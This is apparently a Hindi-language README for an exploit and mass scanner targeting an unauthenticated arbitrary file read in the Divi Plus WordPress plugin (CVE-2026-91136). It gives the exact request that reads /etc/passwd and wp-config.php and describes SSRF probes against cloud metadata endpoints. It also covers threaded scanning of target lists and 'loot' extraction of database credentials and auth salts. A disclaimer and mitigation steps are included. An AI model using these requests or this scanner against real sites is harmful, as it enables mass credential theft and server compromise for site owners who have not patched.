CVE-2026-91136 — Divi Plus ≤ 2.4.0 — अनधिप्रमाणित मनमानी फ़ाइल पठन PoC

Divi Plus (Elicus) — WordPress प्लगइन ≤ 2.4.0 — elicus/v1 REST नेमस्पेस के svg_image पैरामीटर के माध्यम से अनधिप्रमाणित मनमानी फ़ाइल पठन।

📋 भेद्यता अवलोकन

विशेषता	विवरण
CVE ID	CVE-2026-91136
श्रृंखला	`svg_image` → `file_get_contents()` (फ़ॉलबैक `wp_remote_get`) → JSON `html`
गंभीरता	🟠 उच्च (CVSS 7.5)
लक्ष्य	Divi Plus (Divi Extended / Elicus)
प्रभावित	≤ 2.4.0
ठीक किया गया	2.4.1
आवश्यक प्रमाणीकरण	कोई नहीं

🔍 तकनीकी विवरण

SVGAnimatorController::index_permission बिना शर्त true लौटाता है, इसलिए /wp-json/elicus/v1/dipl-modules/svg-animator एंडपॉइंट प्रमाणीकरण के बिना पहुँच योग्य है। svg_image इनपुट केवल sanitize_text_field() और esc_html() से गुज़रता है — जो फ़ाइलसिस्टम पथ, file:// स्ट्रीम रैपर या रिमोट URL को प्रतिबंधित नहीं करते — इससे पहले कि इसे file_get_contents() (एक wp_remote_get() फ़ॉलबैक के साथ) को पास किया जाए। कच्चा प्रतिक्रिया बॉडी JSON html फ़ील्ड में लौटाया जाता है।

GET /wp-json/elicus/v1/dipl-modules/svg-animator?svg_image=/etc/passwd
        │
        ▼
index_permission() = true (no auth)
        │
        ▼
svg_image -> sanitize_text_field/esc_html (no path restriction)
        │
        ▼
file_get_contents() -> fallback wp_remote_get()
        │
        ▼
{"html":"root:x:0:0:root:/root:/bin/bash\n..."}

प्रभाव: /etc/passwd, wp-config.php (DB क्रेडेंशियल + auth salts), SSRF के माध्यम से क्लाउड मेटाडेटा (169.254.169.254 / GCP / Azure / DO / OCI), .env और वेब उपयोगकर्ता द्वारा पढ़ी जा सकने वाली कोई भी अन्य फ़ाइल पढ़ना।

🚀 उपयोग

# single target
python CVE-2026-91136.py -u https://target.com

# mass scan
python CVE-2026-91136.py -i targets.txt -t 20 -o results

# interactive (banner -> targets -> threads)
python CVE-2026-91136.py

विकल्प	विवरण
`-u/--url URL`	एकल लक्ष्य
`-i/--input FILE`	लक्ष्य फ़ाइल, प्रति पंक्ति एक (`#` टिप्पणियाँ अनुमत)
`-t/--threads N`	थ्रेड्स (छोड़े जाने पर इंटरैक्टिव रूप से पूछा जाता है)
`--timeout N`	अनुरोध टाइमआउट (डिफ़ॉल्ट 12)
`-q/--quiet`	केवल हिट दिखाएँ; बाकी इनलाइन काउंटर में जाता है
`-v/--verbose`	प्रति लक्ष्य एक पंक्ति दिखाएँ
`-o/--output FILE`	परिणाम JSONL + `FILE.hits.txt` में लिखें

📊 आउटपुट

[OK] https://target.com                                        ✓ 1  ✗ 0
    passwd: root:x:0:0:root:/root:/bin/bash
      link: https://target.com/wp-json/elicus/v1/dipl-modules/svg-animator?svg_image=/etc/passwd
    wp-config: /var/www/html/wp-config.php
      link: https://target.com/wp-json/elicus/v1/dipl-modules/svg-animator?svg_image=/var/www/html/wp-config.php
      DB_NAME=wordpress
      DB_USER=wp_user
      DB_PASSWORD=***
      DB_HOST=localhost

✓ OK: 1   ✗ FAIL: 2979   total: 2980

लाइव सिंगल-लाइन प्रगति बार: [████░░░░] 42% (1250/2980) ✓ 3 ✗ 1247
results.hits.txt — केवल पुष्टि किए गए कमज़ोर लक्ष्य

⚙️ विशेषताएँ

फ़िंगरप्रिंट: svg-animator एंडपॉइंट प्रतिक्रिया + divi-plus एसेट्स ?ver= के माध्यम से संस्करण
संस्करण ओरेकल: कमज़ोर शाखा फ़ाइल बॉडी लौटाती है; पैच किया गया/WAF 403/खाली लौटाता है
wp-config.php खोज: निश्चित उम्मीदवार + /etc/passwd से पार्स किए गए वास्तविक /home/<user>/ डायरेक्टरी
SSRF प्रोब: AWS / GCP / Azure / DigitalOcean / OCI मेटाडेटा एंडपॉइंट
लूट निष्कर्षण: DB क्रेडेंशियल + WordPress प्रमाणीकरण सॉल्ट, प्रत्येक निष्कर्ष के लिए सीधे पुन: प्रयोग योग्य लिंक के साथ
मास मोड: थ्रेड पूल, डीडुप, लाइव ✓/✗ गणना, JSONL + hits निर्यात

📁 फ़ाइल संरचना

├── CVE-2026-91136.py   # mass scanner + exploit
├── README.md
├── LICENSE
└── .gitignore

⚠️ अस्वीकरण

╔══════════════════════════════════════════════════════════════════╗
║                        LEGAL DISCLAIMER                          ║
╠══════════════════════════════════════════════════════════════════╣
║  This tool is provided for EDUCATIONAL and AUTHORIZED           ║
║  SECURITY TESTING purposes only.                                ║
║  Only use on systems you own or have explicit permission.       ║
║  The author is NOT responsible for any misuse or damage.        ║
╚══════════════════════════════════════════════════════════════════╝

🛡️ शमन

Divi Plus को 2.4.1 (या बाद के संस्करण) में अपडेट करें
फ़ाइल रीड के माध्यम से उजागर हुए किसी भी क्रेडेंशियल को रोटेट करें
WAF पर GET/POST /wp-json/elicus/v1/dipl-modules/svg-animator को ब्लॉक करें
file://, /etc/ या मेटाडेटा IPs वाले svg_image मानों के लिए लॉग की निगरानी करें

👤 लेखक

fl0ydsec (Floydroot)

_{सुरक्षा अनुसंधान}

CVE-2026-91136

सबसे लोकप्रिय